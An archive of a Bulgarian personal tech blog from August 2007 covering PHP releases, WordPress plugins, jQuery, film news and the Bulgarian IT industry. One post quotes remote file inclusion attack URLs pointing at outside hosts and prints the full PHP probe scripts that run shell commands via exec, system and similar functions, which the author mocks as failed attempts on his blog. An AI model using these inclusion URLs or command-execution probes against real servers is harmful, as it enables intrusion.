August 31, 2007

Хайде на PHP 5.2.4!

След нещо като скоростно бачкане върху нов release, новия PHP 5.2.4 е най-накрая готов! Има доста обширен списък от промени - това са повече от 120 обравени бъга (как е “бъг” на български - “буболечка” ли?), и също доста просторен списък от малки подобрения по сигурността. Може да намерите кракто описание на промените в този release тук, а цилия дълъг и скучен списък на всички промени може да намерите в ChangeLog-а.

August 29, 2007

Невероятна нова технология: динамично променяне на размера на изображения

Заглавието може да изглижда тривиално, но всъщност не е така - това което видях на Ajaxian беше просто невероятно. Ето един опит да преведа новината публикувана там:

Майкъл Арингтън (Michael Arrington) от TechCrunch съобщи за новата технология преди два дена, създадена от доктор Ариел Шамир (Dr. Ariel Shamir) и докторШай Авидан (Dr. Shai Avidan), която може да има драматично и необратимо влияние върху динамичния характер на уеб страниците (бел.прев. а и всяка друга цифрова медия). Технологията позволява динамично променяне на размера на изображения, и от това което се вижда от видеото, може да се каже, че работи много гладко. Арингтън дори споменава колко много би искал тази нова технология в Adobe Photoshop.

Ами, изглежда че желанието му ще се сбъдне, след като Adobe са наели единиа от дватама изобретатели - доктор Шаи Авидан.

Check out the video to see the technology in action…

Наистина погледнете видеото, ще останете наистина изумени. Оригиналната новина може да намерите тук:

August 26, 2007

Star Wars и таратора

Тараторът е нещо много добро не само поради добрите му вкусови качества и превъзходния му освежаващ ефект, а и защото у нас той е много удобен инструмент на гостприемството ни - както казва мама “дошъл ти е някой на гости, и сега хоп - от таратор за двама с малко вода става таратор за трима” :) Сега да си дойдем на темата - май нещо точно такова почва да прави и Джордж Лукас. И аз съм фен, ама хайде стига толкова!

Сега Lucasfilm подготвят ново заглавие наречено “Войната на клонингите” (The Clone Wars). “Ама чакайте малко,” ще кажете, “нали Епизод II вече беше за войната на клонингите?” Не, заспо, това беше просто Клонираните Атакуват (или както се майтапеха, “Пич, къде ми е клонинга?“), а не Войната на клонингите в целия и мащаб. Посло онова беше игрален филм, а това ще е анимационен.
“Аха, значи става дума за анимационните серии Star Wars: Clone Wars на Генди Тартаковски (Genndy Tartakovsky), които гледахме по Cartoon Network (и по Нова),” наивно бихте се подлъгали вие. Не, става дума наистина за анимационен филм за Войната на Клонингите, само дето този ще е 3-D!

“Значи всъщност това е извинение да се направят още сериее, да се поосвежат героите така че да приличат на излезли от видео игра (като например нека Йода да прилича на Покемон), после наистина да направят игра по филма, да пуснат и филма на DVD, да направят още играчки ,сувенири фанелки и т.н. по герои от филма, и да приберат отново парите на феновете разчитайки на старата слава на сериите?” Да! Ето сега ще сте познали. Няма нищо за чудене, същия “бизнес модел” го приложиха върху продълженията на Матрицата, на Карибските Пирати и на самите Междузвездни войни - не толкова за да угодят на истинските фенове, колкото да приберат едни пари.

Ако не сте го загряли още, Джордж Лукас е Императора, тръгнал да прави независими филми от големите на деня през 70-те, и превърнал се в това което е днес, заедно с неговата империя - Lucasfilm!

И “големите” правят грешки…

Тази сутрин докато щраках малко новия плъгин видях ето това на Alexa:

Ами, изглежда, че може да се случи на всеки :)

August 25, 2007

Ха-ха-ха, просто не е истина …

Две минути се смях като го видях. Помислих си, че е правописна грешка. После отидох на сайта им - и видях, че не е грешка, ами наистина така се казват - ФАШЪН.БГ :) Иначе казано “фашън беге” :) Пак ме напира смях просто … абе правилното произношение не е ли “фешън” ? Знам, че транскрипцията му е с АЕ, обаче все пак това фашън … как да го кажа … някак си гравитира около фашкия :) Може и аз в безкрайната си ограниченост да не ги разбирам работите, обаче все пак посмях се тази вечер.

Някой ще коментира ли ?

По-добрия “Alexa Redirect” WordPress плъгин: версия 0.2

От 11 януари 2008 Alexa Redirect вече не работи.

Трябва да се напъна и да се концентирам върху “основните” си задачи, обаче днес така или иначе нямаше да свърша нищо заради отвратилентата жега, и така откъм 19:00 до сега сложих всички подобрения и фиксове които искаха за Better “Alexa Redirect” WordPress Plugin и ето - готова е следващата версия.

Better “Alexa Redirect” WordPress Plugin: version 0.2 (Aug 25, 2007)

За повече информация посете (отново) станицата за проекта ето тук:

а новата версия на самия проект може да се смъкне веднага ето от тук:

August 24, 2007

Mrasnika Simpsonized

Сортиране на таблици с jQuery

Такова нещо не ми се е налагало да ползвам от 2003-та и 2004-та или някаде там, и това новото много ми хареса - а пък и jQuery ми е малко новата страст :)

Tablesorter подрежда HTML таблици с код, малък колкото един ред, и с много функции за напреднали като:

  • Сортиране по много колони
  • Писане на нови парсери за клетките на таблиците
  • Разширяване на възможностите чрез widget система
  • Поддръжка на ROWSPAN и COLSPAN за TH елементите

Всичко това пакетирано в 7.4KB код. Плюс две “теми” за форматиране на външния вид на таблиците, специален widget за запомняне на настройките в Cookies, widget за премахване на редове и plugin за странициране.

Повече информация тук и тук.

Ех, малоумници…

Луд умора нема да пробва да изчакали нещо… ето това са се пробвали да заредят:

http://www.mrasnika.info/blog/220/smarty_config.php?root_dir=http://usuarios.arnet.com.ar/larry123/safe.txt?

Тъпо е, защото нямам Smarty на WordPress-а ;) Иначе файла е някакъв тъп probe:

<?
$dir = @getcwd();
$ker = @php_uname();
echo "31337<br>";
$OS = @PHP_OS;
echo "<br>OSTYPE:$OS<br>";
echo "<br>Kernel:$ker<br>";
$free = disk_free_space($dir);
if ($free === FALSE) {$free = 0;}
if ($free < 0) {$free = 0;}
echo "Free:".view_size($free)."<br>";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
function view_size($size)
{
if (!is_numeric($size)) {return FALSE;}
else
{
if ($size >= 1073741824)
 {$size = round($size/1073741824*100)/100
 ." GB";}
elseif ($size >= 1048576)
 {$size = round($size/1048576*100)/100
 ." MB";}
elseif ($size >= 1024)
 {$size = round($size/1024*100)/100
 ." KB";}
else {$size = $size . " B";}
return $size;
}
}

PS. Ех, ама наистина луд умора няма, ентусиастите продължават да се пробват да изчакалят…

http://www.mrasnika.info/blog/220/smarty_config.php?root_dir=http://gendut-jelek.zoomshare.com/cek.txt?
http://www.mrasnika.info/blog/220/smarty_config.php?root_dir=http://collegejacquesprevert.ca/eleves/.plugins/id.txt?
http://www.mrasnika.info/blog/220/smarty_config.php?root_dir=http://sikodoq.fileave.com/id.txt?

Този път probe-а е малко по различен (не че сте постигне някакъв по-добър резултат):

<?php
echo "Mic22";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;

Забавно, а ?!

August 23, 2007

PHP умира трудно

Не се подлъгвайте по заглавието, няма да е поредния пост за PHP4. Добрата новина е за това какво прави PHP като грумне с някой phatal ;). Ако сте работили малко повече време с PHP, сигурно знаете, че един от недодяланите недостатъци които има, е какво прави като “умре”. Ако стане някой проблем и се натъкне на някаква сериозна грешка, като примелно синтактична грешка при parse-ването, PHP просто спира и това е - прост няма какво да се направи по въпроса. Особенно досадно е, ако това се случи не при теб докато разработваш някое приложение, ами някаде на
някой сървър, където виждаш празна страница
и HTTP код 200 OK. Не е коректно, нали ? И напълно безполезно. Който е достатъчно умен и с опит ще е нагласил error-logging-а на PHP за да може да види вси пак какъв е проблема, но това не помага въобще при поведението на приложението при възникване на такъв проблем.

Сега нека да погледнем промениете, които
идват с PHP 5.2.4 :

Changed error handler to send HTTP 500 instead of blank page on PHP errors. (Dmitry, Andrei Nigmatulin)

Ето това е правилно ползване на HTTP Response Status кодовете! Ако си “фен” на максималното бъркане в мозъка на HTTP (разбирай “искаш да изцедиш максимално много”), това е просто “Имаме Новина!”. Тепърва ще чакаме да се появи някаква документация за това ново попълнение, и все пак предполагам, че в бъдеще ако PHP отговори с код 200 OK, то наистина всичко си му е наред.

August 22, 2007

Government.bg: 10 дена по-късно

Ами нищо не се е променило - все още стои правописната грешка на сайта, въпреки че им писах да я оправят: ето още един минус - не си четат пощата, или по-зле - четат я, но са я оте*али.

Намерих и нов проблем - настройката на домейните - ако не се сложе www. отпред всичко се скапва. Каква ли друга издънка ще намеря след още 10 дена ?

August 21, 2007

Prototype 1.6

Най-накрая хората се освестиха и стъпиха на Земята. Новият release на Prototype съдържа неща, които трябваше да бъдат там много отдавна, и сега изглежда след като се забелязали, че ги изместват от челните места са се стегнали и са направили каквото трябва да се направи. Все пак - изгубиха WordPress, спечелиха .Mac - така че моето мнение е, че са пак в играта. Повече подробности в Ajaxian:

WMG - на колко машини са им сайтовете ?

Когато беше IPO-то на Web Media Group (или WMG, БФБ: WWW), аз бях от хората които бях критично настроен и съмнителен по отношение на подготовка и професионализма им, както и около далаверите (според това което прочетох) относно разни домейни, разни вестници, разни наеми и разни “схеми за източване”. Изненадаха ме много приятно, когато успяха да подкарат всичко почти на време (само с три месеца закъснение), като може би заслугата е повече на Netage, но все пак резултата е важен и той е налице. Даже имат и няколко награди за декорация.

Сега обаче нещо пак съм разочарован. Играеки си с онази джунджурия за reverse-dns видях, че всечки сайтове на WMG се хостват на една и съща машина:

Money.bg @ MyIpNeighbors.com

Така, като гледам списъка с проектите май наистина всичко е на тази една машина с CentOS и Apache 2 (уебсървъра се подписва като “Server: Apache/2.0.52 (CentOS)“, ако ви се мотае, погледнете тук: http://builtwith.com/default.aspx?money.bg). Да ви кажа, че това ми изглежда странно, и без да знам каквито и да е подробности, ми изникват такива асоциации като “безотговорност” или “липса на опит” (които ако се вземат предвид моите издънки, може би са малко лицемерни като забележки). Дано само да не е избрано тако решение като финансов трик да се спести някой друг лев.

PS. Ровейки се намерих какви проекти са обещали да пуснат WMG - сега изглежда,че или много са изостнали (по баналното обеснение), или (може би по-вероятното обяснение, че са си сменили плановете:

11 сайта с обща платформа пуска Web Media Group до март 2007 година.

Мултимедийни продукти и електронна търговия ще стартират чрез обновените и новите сайтове.

Договор за това подписаха главният мениджър на Web Media Group Александър Александров и председателят на съвета на директорите на Netage Solutions Дилян Павлов.

Проектът е изключително амбициозен и ще превърна Web Media Group в една от най-големите уебмедийни групи в България.

Това е една добра сделка за нас, този договор би могъл да струва много повече, коментира след подписването Александър Александров.

Той прогнозира, че ще бъде спазена общата финансовата рамка, обявена в проспекта, и няма да се наложи преразход и няма да има нужда от привличане на допълнителни средства.

В програмата за развитие на компанията са фиксирани точните срокове за създаване на отделните сайтове.

• Topsport.bg: Март – Април 2006 г.

• News.bg: Април – Май 2006 г.

• Money.bg
Достъпни за широката аудитория новини от бизнеса и финансите, коменари, анализи, прогнози, Финасова информация - котировки, статистика, полезна потребителска информация от света на финансите
Старт: Юни 2006 г.

• Portal.news.bg
Новини за България на английски език
Старт: Юли 2006 г.

Сайтове за развлечение

• Singles.bg
Сайт за запознанства - Статии, коментари, полезни съвети, любопитна информация, интервюта, онлайн интервюта, представяне на книги, представяне на успешни истории, публикуване на интересни читателски писма, теми от форума
Старт: Юни 2006 г.

• Livestyle.bg - Новини за българския и световен елит, фотогалерии от любопитни снимки, онлайн интервюта с интересни личности, хороскопи, справочник
Старт: Октомври 2006 г.

Сайтове за услуги

• Сайт за обяви - Сайт за публикуване на обяви, Различна тематична насоченост на обявите, Възможност за подробно търсене и предварителна заявка, VIP обяви
Старт: Септември 2006 г.

• Tourist.bg
Новини, коментари, анализи, прогнози, интервюта; Информация за туристически пакети и оферти; Представяне на туристически дестинации; Представяне на туристически агенции
Старт: Ноември 2006 г.

• Multimedia.news.bg
Онлайн продажба на актуални и архивни снимки, видео и аудио материали на абонаментен принцип, любопитни фотографии, представяне на фотографска техника
Старт: Ноември 2006 г.

• Ibox.bg
Комуникационен център за регистрираните потребители с безплатна или платена интернет поща с възмпожност за за персонализиране на контента от другите сайтове на WMG
Старт: Декември 2006 г.

Електронни магазини

• Shop.wmg.bg
Сайт-каталог на стоките и услугите, предлагани от WMG; Възможност за онлайн разплащания
Старт: Февруари 2007г.

• Vitrina.bg
Представяне на стоки и услуги на външни интернет магазини
Старт: Март 2007 г

Прочетено ето тук:

ИТ бизнесът е внесъл в бюджета 114 млн. евро

Хайде пак да си поговорим за лицемерие. Вземете следния текст:

Българската ИТ индустрия е един от най-бързо развиващите се отрасли в икономиката ни. Приходите от данъци от ИТ сферата според проучване на БАИТ от 2005 година са над 2.4% от републиканския бюджет”, заяви Златко Златков, бивш председател на БАИТ и член на Управителния съвет, като допълни, че сега, след влизането ни в ЕС, очаква нови възможности за фирмите в сектора.

Аз ако мога да съдя за IT индустрията от това което аз съм видял, то тя е много близо до “шивашкия” бизнес - много печеливша и много експлоататорска … едни хора бачкат за едни пари които им се струват супер на регионално ниво, а едни други хора прибират поръчки и хонорари на почти международни цени. Така се дават малки заплати, а ако някой от “шефовете” реши да “пилее” пари за фирмата, то те няма да са за премии, бонуси или увеличаване на възнаграждениеята на подчинените, ами ще са за нещо което да им поглади егото, като някоя скъпа играчка, или подобрения по офиса, така че Boss-а (и работниците) да усещат лукса и да работят на чисто (чисто място).

Цялата новина може да прочетете тук:

Българската ИТ индустрия е 42-ра по конкурентност

Всеки да го чете както си иска, за мен това е поредното доказателство, че хвалбите за българското IT са преувеличени:

Румъния, с която обикновено се сравняваме напоследък, е две позиции по-нагоре в класацията - 40-а, а индексът й е 32.1, като отделните индикатори на ИТ индустрията в северната ни съседка са доста близки до българските. Гърция е 33-та и има по-високи оценки на факторите за конкурентоспособност.

Целия материал може да прочетете тук:

Има ли значение качеството на кода ?

Минаха няколко седмици от това весело събитие, и сега се сещам да публикувам един материал, който съвпада с моето мнение след като видях кода на Facebook (типична индийска изработка, от началото на века около 2001 година, с нито един грам обекто-ориентиран код, или каквато и да е смислена организациа или документация на сода):

D-uhhhhhh, look at the code chaps, even OScommerce or phpAdsNews source looks sophisticated compared to this.

Does code quality really matter in the big picture?

Мда, май наистина няма значение … почвам да си повтарям горното като мантра и спирам да упорствам на неща като “нали работи, не го бутай“.

Не учи, за да сполучиш

Ето нещо, което все едно аз съм го казал, но много по-добре формулирано:

Всички знаем, че висшето образование в България не струва. Че трябваше да се реформира много отдавна.

Но на правителствата от началото на прехода така и не им достигна политическа воля да се противопоставят на заинтересуваните от запазване на статуквото - ректори, преподаватели и чиновници, вкопчени в системата.
….
Така между образованието и живия живот зейна гигантска пропаст. За младите дипломата за висше не е a must. Тук изключваме професиите в медицината и правото.

Ако ви е интересно, прочетете целия материал на този адрес:

August 19, 2007

По-добрия “Alexa Redirect” WordPress плъгин

От 11 януари 2008 Alexa Redirect вече не работи.

Който ме познава знае, че супер лесно се разсейвям и обща взето имам нещо като проблем с концентрацията. Били Конъли явно има същия проблем и просто трябва да чете какъв коментар има (ако намерите The Pale Blue Scotsman ще чуете и други умни неща вътре). Едно такова разсейване доведе до написването на нов WordPress плъгин, пускането на малка страничка с инструкции за него, и ето този обеден пост :)

AlexaВчера, използвайки свободното си време да почета разни блогове и други любопитни писания забелязах, че някои от блоговете имат интересен префикс към Alexa: http://redirect.alexa.com/redirect?ххх... и понеже вече имам опит и background в тези неща, реших да се поразровя и да почета по темата. Точно както предполагах, оказа се че това е опит за увеличаване на ранга за даден сайт на Alexa. Другото интересно е, че един ентусиаст вече е направил и такъв плъгин за WordPress. Супер грубо този плъгин бъркаше директно в изходния код, и слагаше префикса за пренасочването … не знам колко от вас загряват в момента, но това ще прецака много яко Google резултатите ви (а може би и за други търсещи машини), понеже там ранга на един сайт се пресмята основно на разни математики свързани с линковете. В крайна сметка има по-добро решение: не бутайте изходния HTML код, а добавете префиксите за пренасочването с JavaScript: така всички сме доволни - хем Alexa пренасочване, хем паяците имат оригиналния HTML. Така (в рамките на два часа и нещо) се роди:

The Better “Alexa Redirect” WordPress Plugin
version 0.1 (Aug 19th 2007)

(По-добрият “Alexa Redirect” WordPress плъгин, версия 0.1, 19ти август 2007)

За повече информация посете станицата за този “проект” ето тук:

а самия проект може да си го смъкнете веднага ето от тук:

August 15, 2007

BuiltWith: под полата на сайта…

BuiltWith What Tech?BuiltWith е най-новата джунджурия, която се занимава със събиране на максимално информация за някое URL. Целта и е да се завре къде ли не, за да може да извади колкото е възможно повече техническа информация за адреса от който се интересувате - например:

  • Какъв web-server се ползва?
  • Какви JavaScript библиотеки се ползват?
  • Има ли CDN?
  • Какви броячи и анализатори на трафика се ползват?
  • Изобщо какни други джаджи има

Ако няма какво да правите, ето един невероятен шанс да пропилеете малко време разглеждайки какво BuiltWith може да намери за любимите ви сайтове. Според информацията например самия инструмент е построен с YUI (не че не може да хогледнем source-code-а де)

August 14, 2007

Hitman

Дано Люк Бесон да направи една наистина интересна “драматизация”, защото до сега какви ли не бози сме гледали. И … как можаха да изберат точно Тимъти Олифант за тази роля, не му отива въобще! Може би е заради правилната форма на главата му :)

Напред